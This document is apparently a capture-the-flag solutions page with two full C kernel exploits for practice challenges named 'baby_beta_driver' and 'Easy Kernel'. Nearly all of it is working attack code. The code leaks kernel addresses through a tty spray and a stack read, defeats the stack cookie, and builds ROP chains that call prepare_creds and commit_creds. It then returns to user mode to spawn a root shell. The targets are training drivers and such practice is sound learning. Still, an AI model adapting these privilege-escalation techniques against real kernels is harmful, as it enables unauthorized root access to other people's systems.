Baby_beta_dryver
Solution for the baby_beta_driver challenge to practice kernel exploit:
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct ioctl_cmd{
int size;
int padding;
char *data;
}ioctl_cmd;
static void win(){
printf("[+] Current uid %d\n", geteuid());
printf("[!] Enjoy your dpla-shell\n");
system("/bin/sh");
}
unsigned long long user_cs;
unsigned long long user_ss;
unsigned long long user_sp;
unsigned long long user_rflags;
static void save_state()
{
asm(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r"(user_cs), "=r"(user_ss), "=r"(user_sp), "=r"(user_rflags)
:
: "memory");
}
int main(){
int fd = open("/dev/baby_beta_driver", 6);
if(fd < 0){
printf("[!] Failed to open! ");
}
else {
printf("[+] Device open at file desc %d \n", fd);
}
//tty struct stuff fo leaking
printf("[+] Spraying the tty struct\n");
int fd_spray[50];
for(int i=0;i<50;i++){
fd_spray[i] = open("/dev/ptmx",7);
}
for(int i=0;i<50;i++){
close(fd_spray[i]);
}
ioctl_cmd a;
/* test ioctl
a.data = malloc(0x200);
memset(a.data,0x41,0x200);
ioctl(fd,0x1337c0de,&a);
*/
//struct to create a chunk with no data
a.size = 0x2d0;
a.data = 0;
//ioctl call
printf("[+] Sending chunk with no data\n");
ioctl(fd,0x1337c0de, &a);
//reading the leak
a.size = 0x30;
a.data = malloc(0x200);
ioctl(fd, 0xc0de1337, &a); //read
// for(int i=0;i<0x30;i+=8){
//
// printf("[*] Leaked address: 0x%11x\n", *(long long *)(a.data+i));
// }
for(int i = 0; i < 0x30; i+=8){
printf("[*] Leaked address : 0x%llx\n", *(long long *)(a.data + i));
}
unsigned long long leak = *(long long *)(a.data+0x18);
if(leak < 0xffffffff00000000){
printf("[!] No proper leak found\n");
exit(0);
}
else {
printf("[!] Found ptm_unix98_ops leak\n");
}
unsigned long long base = leak - 0x623cc0;
printf("[+] Kernel Base : 0x%llx\n", base);
/*gadgets to rop
0xffffffff8111a54d: pop rdi; ret;
*/
unsigned long long rdi = 0x11a54d + base;
unsigned long long rsi = base + 0x05c00;
unsigned long long swapgs = base + 0x200d6c;
unsigned long long iretq = base + 0x14db6; //xchg rax, rdi; call qword ptr [rsi];
unsigned long long rax_rdi = base + 0x4d424;//: add rdi, rax; cmp qword ptr [rdi + 0x58], rsi; je 0x24d431; mov eax, r8d; ret;
unsigned long long prepare_creds = base + 0x53bb0;
unsigned long long commit_creds = base + 0x53d00;
unsigned long long ret2um = base + 0x200cc6;
//overflow
int i = 0;
unsigned long long *rop = (unsigned long long *)a.data;
//memset(rop, 0x41, 0x100);
save_state();
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = rdi;
rop[i++] = 0;
rop[i++] = prepare_creds;
rop[i++] = rdi;
rop[i++] = 0;
rop[i++] = rax_rdi;
rop[i++] = commit_creds;
//rop[i++] = swapgs;
//rop[i++] = 0;
//rop[i++] = iretq;
rop[i++] = ret2um;
rop[i++] = 0;
rop[i++] = 0;
rop[i++] = (unsigned long long) win;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;
a.size = 0x100;
//overflow
ioctl(fd, 0x1337c0de, &a);
ioctl(fd, 0xc0de1337, &a);
}
Easy Kernel
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct ioctl_cmd{
int size;
int padding;
char *data;
}ioctl_cmd;
static void win(){
int uid = getuid();
printf("[+] Current uid %d \n", uid);
if (uid == 0){
printf("[+] Dropping a Shell...\n");
char *args[2];
args[0] = "/bin/sh";
args[1] = NULL;
execve(args[0], args, NULL);
}
else{
printf("[!] No no no root shell, fix the exploit\n");
}
}
unsigned long long user_cs;
unsigned long long user_ss;
unsigned long long user_sp;
unsigned long long user_rflags;
void save_state(){
__asm__(
".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;"
);
puts("[*] Saved state");
}
int open_device(){
int fd = open("/proc/pwn_device", 6);
if(fd < 0){
printf("[!] Failed to open device ! \n");
printf("[!] Closing the exploit");
exit(0);
}
else {
printf("[+] Device open at file desc %d \n", fd);
return fd;
}
}
int main(){
save_state();
printf("[+] Executing n00biekerneldplapwn\n");
int fd = open_device();
char leak[0x100];
unsigned long payload[0x400];
memset(leak, 0, sizeof(leak));
//read beyond the string on the stack (memory leak)
if(!read(fd, leak, sizeof(leak))){
printf("[!] Error trying to read from device driver\n");
exit(0);
}
// reading leaked addresses from stack
//int count = 0;
//for(int i = 0; i < sizeof(leak); i+=8){
// printf("[*] Leaked address at stack offset (0x%x): 0x%llx\n", count*8, *(long long *)(leak + i));
// count++;
//}
//stack cookie
unsigned long long stack_cookie = *(unsigned long long*)&leak[0x70];
printf("[+] Stack cookie : %llx \n", stack_cookie);
unsigned long long kernel_add = *(unsigned long long*)&leak[0xa8];
printf("[+] Kernel Address : %llx\n", kernel_add);
//calculating kernel base
unsigned long long int base = kernel_add - 0x1c89f8;
printf("[+] Kernel Base : %llx\n", base);
//changing the MaxBuffer variable with the ioctl command
if(ioctl(fd, 32, sizeof(payload))){
printf("[!] Error tring to send ioctl cmd\n");
printf("[!] Unable to change buffer size\n");
exit(0);
}
printf("[!] MaxBuffer changed trough IOCTL\n");
int offset = 0x80/8; //start from stack cookie
unsigned long long int null_value= 0x0;
unsigned long long int target_crush = 0xdeadbeef;
unsigned long long int padding = 0x4242424242424242;
memset((char*)payload, 0x43, 0x80); //filling up to stack cookie
//gadgets offsets
#define POPRDI 0x001518
#define PREPARE_CREDS 0x881c0
#define COMMIT_CREDS 0x87e80
#define POP_RSI 0x00112e
#define ADD_RDI_RAX 0x3c3485
#define SWAPS_IRETQ_GADGET 0xc00a2f + 22
unsigned long user_rip = (unsigned long)win;
payload[offset++] = stack_cookie;
payload[offset++] = padding;
payload[offset++] = base + POPRDI;
payload[offset++] = 0;
payload[offset++] = base + PREPARE_CREDS;
payload[offset++] = base + POP_RSI;
payload[offset++] = 0;
payload[offset++] = base + POPRDI;
payload[offset++] = 0;
payload[offset++] = base + ADD_RDI_RAX;
payload[offset++] = base + COMMIT_CREDS;
payload[offset++] = base + SWAPS_IRETQ_GADGET;
payload[offset++] = 0;
payload[offset++] = 0;
payload[offset++] = user_rip;
payload[offset++] = user_cs;
payload[offset++] = user_rflags;
payload[offset++] = user_sp;
payload[offset++] = user_ss;
printf("[+] Writing to device\n");
write(fd,payload, sizeof(payload));
printf("[+] Terminating the worst pwn exploit by dpla ! \n");
}